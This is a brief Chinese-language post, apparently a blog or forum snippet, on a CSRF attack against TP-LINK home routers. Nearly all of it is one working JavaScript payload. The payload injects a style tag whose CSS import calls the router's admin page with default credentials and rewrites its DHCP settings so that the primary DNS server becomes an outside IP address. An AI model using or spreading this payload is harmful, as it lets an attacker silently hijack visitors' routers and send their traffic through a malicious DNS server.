TP-LINK的CSRF攻击

写了一个style标签import一个css调用：
document.writeln('<style type="text/css">@import url(http://admin:[email protected]/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')